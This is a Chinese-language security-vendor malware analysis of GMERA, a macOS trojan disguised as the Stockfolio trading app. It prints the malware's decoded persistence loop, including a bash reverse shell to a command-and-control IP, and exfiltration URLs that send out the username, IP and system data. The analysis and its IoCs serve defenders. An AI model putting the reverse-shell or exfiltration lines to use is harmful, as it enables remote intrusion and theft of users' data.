偽裝成股票交易軟體 Stockfolio 竊個資的 Mac 惡意應用程式

趨勢科技發現兩隻偽裝成 Mac合法交易軟體 Stockfolio 的木馬,會在螢幕上出現真實的股票交易介面,但在背景執行惡意行為,蒐集使用者名稱、 IP地址 、螢幕截圖等個資。其中一個變種偽裝成正常軟體的假應用程式包含了多個惡意組件,其中一個軟體套件 Stockfoli.app, 與正牌的應用程式:Stockfolio 比較, 名稱結尾少了 “o” 。

建議想買賣股票的使用者在下載程式時要小心謹慎,尤其是當它來自未知或可疑的網站時。使用者可以利用趨勢科技PC-cillin取得保護,它提供了全面性的安全防護及多裝置的保護來抵禦網路威脅。

偽裝成股票交易軟體 Stockfolio 竊個資的 Mac 惡意應用程式

在網路時代之前,想在股票或期貨市場進行交易需要打電話給券商(這樣做通常代表著額外費用),而股票交易軟體的出現讓一般使用者也可以自己進行交易。但這類軟體的盛行也引來網路犯罪分子的注意,惡意分子會製作假交易軟體來誘騙毫無戒心的受害者並竊取其個人資料。趨勢科技最近發現並分析了此類應用程式,這惡意軟體變種會偽裝成 Mac上的合法交易軟體 Stockfolio

我們發現了此惡意軟體家族的兩個變種。第一個樣本包含兩個腳本程式並會連到遠端網站來解密其加密的程式碼,而第二個樣本雖然只使用一個腳本以及更簡化的行為,但實際上還加入了持續性機制。

樣本1:Trojan.MacOS.GMERA.A

我們在檢查機器學習(Machine learning,ML)系統所標記可疑 shell 腳本時發現了第一個樣本(偵測為Trojan.MacOS.GMERA.A)。但看此樣本會有困難去直接識別其惡意行為,因為 shell 腳本會參照其他檔案(如 AppCode,.pass和.app)。為了驗證該行為確實為惡意,我們利用自己的情報網路及VirusTotal平台(有提供該樣本,但在本文撰寫時尚未有其他主要安全廠商能偵測)來取得原始檔案。

 Figure 1. The suspicious shell script which was flagged by our system
圖1. 我們的系統所標記的可疑shell腳本

原始樣本是個 zip壓縮檔(偵測為Trojan.MacOS.GMERA.A),裡面包含一個軟體套件(Stockfoli.app)和一個隱藏的加密檔案(.app)。該偽裝成正常軟體的假應用程式包含了多個惡意組件用來誘騙使用者。

Figure 2. Content of the zip file. Note that the app bundle is missing the “o” at the end, whereas the legitimate app is called Stockfolio.
圖2. 壓縮檔內容。請注意,這個軟體套件結尾少了“o”,正常的應用程式名稱為Stockfolio。

Zip 壓縮檔及其內容

第一個可疑組件是 Resources目錄底下的軟體套件,它看起來是正常的 Stockfolio版本1.4.13,但帶有惡意軟體作者的數位憑證。

跟 Stockfolio網站上所找到當前版本(1.5)的Resource目錄進行比較後可以發現有許多差異,如下圖所示。

 Figure 3. Comparison of the app bundle folder structure between the malware variant (top) and the legitimate app (version 1.5, bottom).
圖3. 惡意軟體(上)和正常應用程式(版本1.5,下)的軟體套件目錄結構比較。

技術分析

當執行該應用程式時,會在螢幕上出現真實的股票交易介面。但使用者不知道的是惡意軟體已經在背景執行惡意行為。

 Figure 4. interface displayed when the malware app bundle is executed
圖4. 執行惡意應用程式時顯示的介面

主Mach-O執行檔會在Resources目錄啟動下列Shell腳本:

  • Plugin
  • Stock

Plugin和Stock Shell腳本

Plugin shell腳本從受感染系統收集下列資訊:

  • 使用者名稱
  • IP地址
  • /Applications內的應用程式
  • ~/Documents內的檔案
  • ~/Desktop內的檔案
  • 作業系統安裝日期
  • 檔案系統磁碟空間使用率
  • 圖形/顯示資訊
  • 無線網路資訊
  • 螢幕截圖

它接著會用base64編碼收集來的資訊,並將所收集的資訊儲存到一個隱藏檔案:/tmp/.info。然後,它會用收集來的使用者名稱和機器序號作為識別碼將檔案上傳到hxxps://appstockfolio.com/panel/upload[.]php

如果網址發出成功回應,它會將回應寫入另一個隱藏檔案~/Library/Containers/.pass

圖5. Plugin腳本

Stock shell腳本會將Stockfoli.app/Contents/Resources/appcode複製到/private/var/tmp/appcode。它接著會尋找.app檔案,這是Stockfoli.app軟體套件內的隱藏檔案。

圖6. Stock腳本

它會解碼b64編碼的.app檔案,執行並產生以下檔案:

檔案 細節
/tmp/.hostname gmzera54l5qpa6lm.onion
/tmp/.privatkey RSA金鑰

它會移除.app檔案,然後檢查~/Library/Containers/.pass檔案是否存在。使用.pass檔案內容作為金鑰,惡意軟體會解密用AES-256-CBC加密的/private/var/tmp/appcode,再將解密後的檔案儲存到/tmp/appcode。最後,它會執行appcode。如果失敗,它會刪除/tmp/appcode檔案和~/Library/Containers/.pass。要注意的是,我們的樣本分析最後解密失敗,因為樣本無法產生~/Library/Containers /.pass

圖7. 惡意應用程式(上)和正常Stockfolio應用程式(下)的程式碼簽章資訊比較

我們懷疑檔案appcode有包含其他惡意行為。但在本文撰寫時,我們無法解密此檔案,因為無法連到上傳網址hxxps://appstockfolio.com/panel/upload [.]php(根據VirusTotal,該網域在2019年1月至2019年2月還在活動)。此外,由於存在未用到的地址gmzera54l5qpa6lm[.onion],我們懷疑完整的惡意軟體行為會使用TOR網路。

樣本2:Trojan.MacOS.GMERA.B

我們根據第一個樣本的數位憑證找到了第二個變種(偵測為Trojan.MacOS.GMERA.B),該變種在2019年6月上傳到VirusTotal。跟第一個變種一樣,它包入了帶有惡意軟體作者數位憑證的Stockfolio 1.4.13版本軟體。當執行時也會用類似的作法掩飾其惡意行為。

圖8. Trojan.MacOS.GMERA.B的軟體套件結構

一旦開啟,Trojan.MacOS.GMERA.B會執行內嵌的Stockfolio 1.4.13版,接著會啟動shell腳本run.sh

腳本run.sh透過下列命令從受感染電腦收集使用者名稱和IP地址:

  • 使用者名稱:whoami
  • ip地址:curl -s ipecho.net/plain

它會連到惡意軟體網址hxxp://owpqkszz[.]info並用下列格式送出使用者名稱和IP地址資訊:

  • hxxp://owpqkszz[.]info/link.php?{username}&{ip address}

此惡意軟體還會產生以下檔案:

檔案 細節
/private/tmp/.com.apple.upd.plist 複製~/Library/LaunchAgents/.com.apple.upd.plist
~/Library/LaunchAgents/.com.apple.upd.plist 持續性機制
/tmp/loglog 惡意軟體執行日誌

它接著會跟C&C伺服器193[.]37[.]212[.]176建立簡單的反向shell。一旦建立起連線,惡意軟體作者就可以執行Shell命令。

圖9. run.sh shell腳本的內容

除了簡化的行為外,第二個變種的主要更動之一是利用屬性列表(plist)檔案作為持續性機制:~/Library/LaunchAgents/.com.apple.upd.plist

圖10. 用於持續性機制的隱藏plist檔案

解碼plist檔案的b64編碼參數後,我們發現了下列程式碼:

  • while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212.176/25733 0>&1’; done

這會讓plist檔案不斷地建立前面所提到的反向Shell,每10,000秒進行一次。

所建立的簡單反向shell使用端口25733-25736。

結論

根據我們從惡意軟體變種看到的迭代變化,我們注意到了一種趨勢,惡意軟體作者會簡化行為並加入更多功能。攻擊者可能在尋找提高效率的方法 – 甚至會在將來增加躲避偵測機制。

同時,我們建議想買賣股票的使用者在下載程式時要小心謹慎,尤其是當它來自未知或可疑的網站時。我們建議使用者只從官方來源下載應用程式,以最大程度地減少下載到惡意應用程式的機會。

我們在發表本文前已經聯繫過Apple,他們告知我們該假應用程式開發人員的程式碼簽章憑證已於今年7月被撤銷。

趨勢科技解決方案

使用者可以利用 趨勢科技PC-cillin 來取得保護,它提供了全面性的安全防護及多裝置的保護來抵禦網路威脅。企業可以用XGen安全防護技術所驅動的趨勢科技Smart Protection Suites,它融合了高保真機器學習及混合式威脅防護技術來消弭使用者活動及端點所面臨的各種安全問題。

入侵指標(IoC

樣本1

檔案名稱 SHA256 偵測名稱
Plugin 6fe741ef057d38dd6d9bbe02dacbcb4940dac6c32e0f50a641e73727d6bf60d9 Trojan.SH.GMERA.A
Stock 6f48ef0d76ce68bbca53b05d2d22031aec5ce997e7227c3dcb20809959680f11 Trojan.SH.GMERA.A
Stockfoli efd5b96f489f934f2465a185e43fddf50fcde51b12a8fb91d5d93b09a21706c7 Trojan.MacOS.GMERA.A
Trial_Stockfoli.zip 18e1db7c37a63d987a5448b4dd25103c8053799b0deea5f45f00ca094afe2fe7 Trojan.MacOS.GMERA.A

樣本2

檔案名稱 SHA256 偵測名稱
com.apple.upd.plist be8b6549da925f285307b17c616a010a9418af70d090ed960ade575ce27c7787 Trojan.MacOS.GMERA.B
run.sh d50f5e94f2c417623c5f573963cc777c0676cc7245d65967ca09a53f464d2b50 Trojan.SH.GMERA.B
Stockfoli 83df2f39140679a9cfb55f9c839ff8e7638ba29dba164900f9c77bb177796e03 Trojan.MacOS.GMERA.B
Trial_Stockfoli.zip faa2799751582b8829c61cbfe2cbaf3e792960835884b61046778d17937520f4 Trojan.MacOS.GMERA.B

@原文出處:Mac Malware that Spoofs Trading App Steals User Information, Uploads it to Website 作者:Luis Magisa(趨勢科技